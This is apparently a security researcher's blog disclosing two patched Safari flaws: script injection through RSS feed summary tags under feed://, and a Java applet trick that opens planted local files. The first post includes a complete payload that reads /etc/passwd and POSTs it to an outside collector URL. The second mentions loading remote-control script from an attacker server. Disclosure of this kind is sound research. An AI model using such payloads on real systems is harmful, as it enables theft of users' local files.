Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari's feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version="1.0" encoding="utf-8"?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel="alternate" type="text/html" href="http://www.google.com" />
<im:contentType term="TV Show" label="TV Show"><im:contentType term="TV Episode" label="TV Episode"/></im:contentType>
<category term="Sci Fi &amp; Fantasy" scheme="scheme"/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the "Summary" tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class="apple-rss-author" title="iTunes Store">iTunes Store</div>

<div class="apple-rss-summary" >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class="apple-rss-date" title="Feb 16, 4:17 AM">Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open('GET', 'file:///etc/passwd', true);
req.send('');

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open('POST', 'http://xs-sniper.com/sniperscope/catcher.php', true);
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send('filename=etcpasswd&filecontents='+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!

BK

Stealing Files with Safari

Apple recently patched a vulnerability Nitesh "Leisure Suit" Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);



getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. 

Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.



Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).



Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go... Stealing Files with Safari!